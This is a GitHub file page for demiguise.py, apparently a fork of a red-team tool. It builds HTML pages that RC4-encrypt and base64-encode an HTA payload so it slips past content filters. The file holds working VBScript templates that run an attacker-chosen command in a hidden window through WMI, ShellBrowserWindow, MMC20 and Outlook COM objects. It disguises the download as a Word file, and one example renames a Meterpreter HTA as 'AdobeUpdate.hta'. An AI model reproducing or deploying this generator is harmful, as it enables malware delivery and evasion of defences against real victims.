forked from nccgroup/demiguise
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathdemiguise.py
executable file
·167 lines (131 loc) · 6.07 KB
/
demiguise.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import base64
import string
import random
import argparse
import os
import sys
pathname = os.path.dirname(sys.argv[0])
# TODO: load *all* templates from template folder rather than hard-coding
with open(os.path.abspath(pathname) + "/templates/hta_template.txt") as f:
HTML_TEMPLATE = f.read()
WMI_HTA = """<html>
<head>
<script language="VBScript">
Sub window_onload
const impersonation = 3
Const HIDDEN_WINDOW = 12
Set Locator = CreateObject("WbemScripting.SWbemLocator")
Set Service = Locator.ConnectServer()
Service.Security_.ImpersonationLevel=impersonation
Set objStartup = Service.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set Process = Service.Get("Win32_Process")
Error = Process.Create("{0}", null, objConfig, intProcessID)
window.close()
end sub
</script>
</head>
</html>"""
# https://twitter.com/enigma0x3/status/870810601483894784
# https://twitter.com/r0wdy_/status/871142675784671233
SHELLBROWSER_HTA = """<script language="VBScript">
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "{}",Null,"C:\Windows\System32",Null,0
self.close
</script>"""
# https://twitter.com/enigma0x3/status/890980564420788224
# Requires elevation :(
MMC20_HTA = """<script language="VBScript">
Set obj = GetObject("new:49B2791A-B1AE-4C90-9B8E-E860BA07F889")
obj.Document.ActiveView.ExecuteShellCommand("{}")
self.close
</script>"""
# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
OUTLOOK_HTA = """<script language="VBScript">
Set obj = GetObject("new:0006F03A-0000-0000-C000-000000000046")
obj.CreateObject("WScript.Shell").Run("{}")
self.close
</script>"""
# https://gist.github.com/staaldraad/b0665993f49098e9b82a4fd4d135198f
# Experimental XLL feature - only tested on Office 2016 (x64)
with open(os.path.abspath(pathname) + "/templates/xll_hta.txt") as f:
XLL_HTA = f.read()
PAYLOAD_OPTIONS = {
"WbemScripting.SWbemLocator": WMI_HTA,
"Outlook.Application": OUTLOOK_HTA,
"Excel.RegisterXLL": XLL_HTA,
"ShellBrowserWindow": SHELLBROWSER_HTA
}
def rc4(key, data):
"""
Decrypt/encrypt the passed data using RC4 and the given key.
https://github.com/EmpireProject/Empire/blob/73358262acc8ed3c34ffc87fa593655295b81434/data/agent/stagers/dropbox.py
"""
S, j, out = range(256), 0, []
for i in range(256):
j = (j + S[i] + ord(key[i % len(key)])) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
return ''.join(out)
def rnd():
return ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(8))
def payload_choices():
return PAYLOAD_OPTIONS.keys()
def list_payloads():
print("\n\t".join(PAYLOAD_OPTIONS.keys()))
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='"The Demiguise is a peaceful, herbivorous creature that can make itself invisible and tell the future which makes it very hard to catch."')
parser.add_argument("-k", "--key", help="Encryption key", dest="key")
parser.add_argument("-p", "--payload", help="Payload type to use", dest="payload", choices=payload_choices())
parser.add_argument("-l", "--list-payloads", help="List payloads available", action="store_const", const="list_payloads")
parser.add_argument("-c", "--command", help="Command to run from HTA", dest="command")
parser.add_argument("-o", "--output", help="Name of the HTA file to generate", dest="output")
parser.add_argument("-e", "--existing", help="Existing HTA to encrypt", dest="existing", type=argparse.FileType('r'))
args = parser.parse_args()
if args.list_payloads:
sys.stdout.write("[*] Payload choices:\n\t")
list_payloads()
sys.exit(1)
# blobShim borrowed from https://github.com/mholt/PapaParse/issues/175#issuecomment-75597039
# TODO: Spoof other mime-types, maybe pick at random from a list of suitable candidates?
blobShim = """(function(b,fname){if(window.navigator.msSaveOrOpenBlob)
window.navigator.msSaveBlob(b,fname);else{var f = new File([b], fname, {type:"application/msword"});var a=window.document.createElement("a");a.href=window.URL.createObjectURL(f);a.download=fname;document.body.appendChild(a);a.click();document.body.removeChild(a)}})
"""
if args.key and args.command and args.output and args.payload:
hta_text = PAYLOAD_OPTIONS.get(args.payload).format(args.command, rand=rnd())
hta_encrypted = base64.b64encode(rc4(args.key, hta_text))
filename_encrypted = base64.b64encode(rc4(args.key, args.output))
msSaveBlob = base64.b64encode(rc4(args.key, blobShim))
blob = base64.b64encode(rc4(args.key, "Blob"))
outfile = "{}.html".format(os.path.splitext(args.output)[0])
with open(outfile, 'w') as f:
f.write(HTML_TEMPLATE.format(rnd(), rnd(), hta_encrypted, rnd(), filename_encrypted, rnd(), args.key, msSaveBlob, rnd(), rnd(), blob))
print("\n[*] Generating with key: {}".format(args.key))
print("[*] Will execute: {}".format(args.command))
print("[+] HTA file written to: {}".format(outfile))
elif args.existing and args.key and args.output:
hta_text = ''.join(args.existing.readlines())
hta_encrypted = base64.b64encode(rc4(args.key, hta_text))
filename_encrypted = base64.b64encode(rc4(args.key, args.output))
msSaveBlob = base64.b64encode(rc4(args.key, blobShim))
blob = base64.b64encode(rc4(args.key, "Blob"))
outfile = "{}.html".format(os.path.splitext(args.output)[0])
with open(outfile, 'w') as f:
f.write(HTML_TEMPLATE.format(rnd(), rnd(), hta_encrypted, rnd(), filename_encrypted, rnd(), args.key, msSaveBlob, rnd(), rnd(), blob))
print("\n[*] Generating with key: {}".format(args.key))
print("[*] Will execute: {}".format(args.command))
print("[+] HTA file written to: {}".format(outfile))
else:
parser.print_help()
print('\n[*] Example: python demiguise.py -k hello -c "cmd.exe /c calc.exe" -o test.hta -p ShellBrowserWindow')
print('[*] Example: python demiguise.py -k hello -e ~/malware/meterpreter.hta -o AdobeUpdate.hta')